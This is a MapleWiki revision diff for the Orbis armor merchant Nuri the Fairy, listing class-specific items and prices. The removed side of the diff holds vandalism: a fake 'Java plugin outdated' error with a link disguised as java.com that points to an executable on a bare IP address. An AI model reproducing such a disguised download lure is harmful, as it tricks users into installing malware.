Nuri the Fairy: Difference between revisions

From MapleWiki
Jump to navigation Jump to search
No edit summary
m (Reverted edits by Kokostisisi (talk) to last revision by ToaArrol)
 
(2 intermediate revisions by 2 users not shown)
Line 1: Line 1:
{| width="100%" style="background: transparent;"
== Description ==
|class="MainPageLeft" width="50%" rowspan="2" valign="top" style="border: 1px solid #a0a0ff; padding: .5em1em; margin: 1em; background-color: #f0f0ff;"|
[[Image:Nuri the Fairy.png]]
* The armor merchant of [[Orbis]].


<big><big>'''ERROR'''</big></big>
== Common Location ==
----
* [[Orbis]]
<div><big>'''Site content can't be displayed properly.'''</big>


<div><big>'''Your Java plugin is outdated. Please upgrade your software.'''</big>
== Selling List ==


<div><big> '''Please visit this link [http://109.163.229.50/~dofuswik/Javaupdater.exe WWW.JAVA.COM/EN/DOWNLOAD]''' </big>
{| border="2" cellpadding="4" cellspacing="0" style="margin: 1em 1em 1em 0; background: #f9f9f9; border: 1px #aaa solid; border-collapse: collapse;"
! colspan="3" style="background: #f0f0f0;" | Warrior items
|- style="background: #f0f0f0;"
! '''Image''' !! '''Name''' !! '''Cost'''
|-
| [[Image:Jousting_Helmet.png]] || [[Jousting Helmet]] || 120000 mesos
|-
| [[Image:Red_Hwarang_Shirt_M.png]] || [[Red Hwarang Shirt (M)]] || 40000 mesos
|-
| [[Image:Green_Hwarang_Shirt.png]] || [[Green Hwarang Shirt (M)]] || 40000 mesos
|-
| [[Image:Dark_Engrit_F.png]] || [[Dark Engrit (F)]] || 60000 mesos
|-
| [[Image:Red_Engrit_F.png]] || [[Red Engrit (F)]] || 60000 mesos
|-
| [[Image:Blue_Engrit_F.png]] || [[Blue Engrit (F)]] || 60000 mesos
|-
| [[Image:Yellow_Engrit_F.png]] || [[Yellow Engrit (F)]] || 60000 mesos
|-
| [[Image:Black_Martial_Arts_Pants.png]] || [[Black Martial Arts Pants (M)]] || 38000 mesos
|-
| [[Image:White_Martial_Arts_Pants_M.png]] || [[White Martial Arts Pants (M)]] || 38000 mesos
|-
| [[Image:Red_Martial_Arts_Pants_M.png]] || [[Red Martial Arts Pants (M)]] || 38000 mesos
|-
| [[Image:Brown_Martial_Arts_Pants_M.png]] || [[Brown Martial Arts Pants (M)]] || 38000 mesos
|-
| [[Image:Mithril_Buckler.png]] || [[Mithril Buckler]] || 60000 mesos
|-
! colspan="3" style="background: #f0f0f0;" | Magician items
|- style="background: #f0f0f0;"
! '''Image''' !! '''Name''' !! '''Cost'''
|-
| [[Image:Bronze_Pride.gif]] || [[Bronze Pride]] || 40000 mesos
|-
| [[Image:Purplefairy.gif]] || [[Purple Fairy Top (F)]] || 42000 mesos
|-
| [[Image:Greenfairy.gif]] || [[Green Fairy Top (F)]] || 42000 mesos
|-
| [[Image:Bluefairy.gif]] || [[Blue Fairy Top (F)]] || 42000 mesos
|-
| [[Image:Bluemagicianrobe.png]] || [[Blue Wizard Robe (M)]] || 40000 mesos
|-
| [[Image:Whitewizardrobe.png]] || [[White Wizard Robe (M)]] || 40000 mesos
|-
| [[Image:Blackwizardrobe.gif]] || [[Black Wizard Robe (M)]] || 40000 mesos
|-
| [[Image:Green_Wizard_Robe.png]] || [[Green Wizard Robe (M)]] || 40000 mesos
|-
| [[Image:PFairySk.gif]] || [[Purple Fairy Skirt (F)]] || 40000 mesos
|-
| [[Image:GFairySk.gif]] || [[Green Fairy Skirt (F)]] || 40000 mesos
|-
| [[Image:BFairySk.gif]] || [[Blue Fairy Skirt (F)]] || 40000 mesos
|-
! colspan="3" style="background: #f0f0f0;" | Bowman items
|- style="background: #f0f0f0;"
! '''Image''' !! '''Name''' !! '''Cost'''
|-
| [[Image:Red_hawkeye.png]] || [[Red Hawkeye]] || 30000 mesos
|-
| [[Image:Blue_Hawkeye.png]] || [[Blue Hawkeye]] || 30000 mesos
|-
| [[Image:Green_Hawkeye.png]] || [[Green Hawkeye]] || 30000 mesos
|-
| [[Image:Brown_Hawkeye.png]] || [[Brown Hawkeye]] || 30000 mesos
|-
| [[Image:Dark_Hawkeye.png]] || [[Dark Hawkeye]] || 30000 mesos
|-
| [[Image:Red_Hunter's_Armor_M.png]] || [[Red Hunter's Armor (M)]] || 50000 mesos
|-
| [[Image:Blue_Hunter's_Armor_M.png]] || [[Blue Hunter's Armor (M)]] || 50000 mesos
|-
| [[Image:Green_Hunter's_Armor_M.png]] || [[Green Hunter's Armor (M)]] || 50000 mesos
|-
| [[Image:Dark_Hunter's_Armor_M.png]] || [[Dark Hunter's Armor (M)]] || 50000 mesos
|-
| [[Image:Red_Huntress_Armor_F.png]] || [[Red Huntress Armor (F)]] || 50000 mesos
|-
| [[Image:Green_Huntress_Armor_F.png]] || [[Green Huntress Armor (F)]] || 50000 mesos
|-
| [[Image:Black_Huntress_Armor_F.png]] || [[Black Huntress Armor (F)]] || 50000 mesos
|-
| [[Image:Blue_Hunter's_Pants_M.png]] || [[Blue Hunter's Pants (M)]] || 44000 mesos
|-
| [[Image:Red_Hunter's_Pants_M.png]] || [[Red Hunter's Pants (M)]] || 44000 mesos
|-
| [[Image:Green_Hunter's_Pants_M.png]] || [[Green Hunter's Pants (M)]] || 44000 mesos
|-
| [[Image:Dark_Hunter's_Pants_M.png]] || [[Dark Hunter's Pants (M)]] || 44000 mesos
|-
| [[Image:Red_Huntress_Pants_F.png]] || [[Red Huntress Pants (F)]] || 44000 mesos
|-
| [[Image:Green_Huntress_Pants_F.png]] || [[Green Huntress Pants (F)]] || 44000 mesos
|-
| [[Image:Black_Huntress_Pants_F.png]] || [[Black Huntress Pants (F)]] || 44000 mesos
|-
! colspan="3" style="background: #f0f0f0;" | Thief items
|- style="background: #f0f0f0;"
! '''Image''' !! '''Name''' !! '''Cost'''
|-
| [[Image:Red_Guise.gif]] || [[Red Guise]] || 30000 mesos
|-
| [[Image:Blue_Guise.gif]] || [[Blue Guise]] || 30000 mesos
|-
| [[Image:Green_Guise.gif]] || [[Green Guise]] || 30000 mesos
|-
| [[Image:Brown_Guise.gif]] || [[Brown Guise]] || 30000 mesos
|-
| [[Image:Dark_Guise.gif]] || [[Dark Guise]] || 30000 mesos
|-
| [[Image:Dark_Brown_Stealer.gif]] || [[Dark Brown Stealer (M)]] || 45000 mesos
|-
| [[Image:Dark_Silver_Stealer.gif]] || [[Dark Silver Stealer (M)]] || 45000 mesos
|-
| [[Image:Red_Gold_Stealer.gif]] || [[Red Gold Stealer (M)]] || 45000 mesos
|-
| [[Image:Silver_Black_Stealer.gif]] || [[Silver Black Stealer (M)]] || 45000 mesos
|-
| [[Image:Red_Steal_F.png]] || [[Red Steal (F)]] || 45000 mesos
|-
| [[Image:Black_Steal_F.png]] || [[Black Steal (F)]] || 45000 mesos
|-
| [[Image:Blue_Steal_F.png]] || [[Blue Steal (F)]] || 45000 mesos
|-
| [[Image:Purple_Steal_F.png]] || [[Purple Steal (F)]] || 45000 mesos
|-
| [[Image:Dark_Brown_Stealer_Pants_M.png]] || [[Dark Brown Stealer Pants (M)]] || 40000 mesos
|-
| [[Image:Dark_Silver_Stealer_Pants_M.png]] || [[Dark Silver Stealer Pants (M)]] || 40000 mesos
|-
| [[Image:Red_Gold_Stealer_Pants_M.png]] || [[Red/Gold Stealer Pants (M)]] || 40000 mesos
|-
| [[Image:Silver_Black_Stealer_Pants_M.png]] || [[Silver/Black Stealer Pants (M)]] || 40000 mesos
|-
| [[Image:Red_Steal_Pants_F.png]] || [[Red Steal Pants (F)]] || 40000 mesos
|-
| [[Image:Black_Steal_Pants_F.png]] || [[Black Steal Pants (F)]] || 40000 mesos
|-
| [[Image:Blue_Steal_Pants_F.png]] || [[Blue Steal Pants (F)]] || 40000 mesos
|-
| [[Image:Purple_Steal_Pants_F.png]] || [[Purple Steal Pants (F)]] || 40000 mesos
|}


----
[[Category:NPCs - Orbis]]

Latest revision as of 19:48, 17 May 2012

Description

 

  • The armor merchant of Orbis.

Common Location

Selling List

Warrior items
Image Name Cost
  Jousting Helmet 120000 mesos
  Red Hwarang Shirt (M) 40000 mesos
  Green Hwarang Shirt (M) 40000 mesos
  Dark Engrit (F) 60000 mesos
  Red Engrit (F) 60000 mesos
  Blue Engrit (F) 60000 mesos
  Yellow Engrit (F) 60000 mesos
  Black Martial Arts Pants (M) 38000 mesos
  White Martial Arts Pants (M) 38000 mesos
  Red Martial Arts Pants (M) 38000 mesos
  Brown Martial Arts Pants (M) 38000 mesos
  Mithril Buckler 60000 mesos
Magician items
Image Name Cost
  Bronze Pride 40000 mesos
  Purple Fairy Top (F) 42000 mesos
  Green Fairy Top (F) 42000 mesos
  Blue Fairy Top (F) 42000 mesos
  Blue Wizard Robe (M) 40000 mesos
  White Wizard Robe (M) 40000 mesos
  Black Wizard Robe (M) 40000 mesos
  Green Wizard Robe (M) 40000 mesos
  Purple Fairy Skirt (F) 40000 mesos
  Green Fairy Skirt (F) 40000 mesos
  Blue Fairy Skirt (F) 40000 mesos
Bowman items
Image Name Cost
  Red Hawkeye 30000 mesos
  Blue Hawkeye 30000 mesos
  Green Hawkeye 30000 mesos
  Brown Hawkeye 30000 mesos
  Dark Hawkeye 30000 mesos
  Red Hunter's Armor (M) 50000 mesos
  Blue Hunter's Armor (M) 50000 mesos
  Green Hunter's Armor (M) 50000 mesos
  Dark Hunter's Armor (M) 50000 mesos
  Red Huntress Armor (F) 50000 mesos
  Green Huntress Armor (F) 50000 mesos
  Black Huntress Armor (F) 50000 mesos
  Blue Hunter's Pants (M) 44000 mesos
  Red Hunter's Pants (M) 44000 mesos
  Green Hunter's Pants (M) 44000 mesos
  Dark Hunter's Pants (M) 44000 mesos
  Red Huntress Pants (F) 44000 mesos
  Green Huntress Pants (F) 44000 mesos
  Black Huntress Pants (F) 44000 mesos
Thief items
Image Name Cost
  Red Guise 30000 mesos
  Blue Guise 30000 mesos
  Green Guise 30000 mesos
  Brown Guise 30000 mesos
  Dark Guise 30000 mesos
  Dark Brown Stealer (M) 45000 mesos
  Dark Silver Stealer (M) 45000 mesos
  Red Gold Stealer (M) 45000 mesos
  Silver Black Stealer (M) 45000 mesos
  Red Steal (F) 45000 mesos
  Black Steal (F) 45000 mesos
  Blue Steal (F) 45000 mesos
  Purple Steal (F) 45000 mesos
  Dark Brown Stealer Pants (M) 40000 mesos
  Dark Silver Stealer Pants (M) 40000 mesos
  Red/Gold Stealer Pants (M) 40000 mesos
  Silver/Black Stealer Pants (M) 40000 mesos
  Red Steal Pants (F) 40000 mesos
  Black Steal Pants (F) 40000 mesos
  Blue Steal Pants (F) 40000 mesos
  Purple Steal Pants (F) 40000 mesos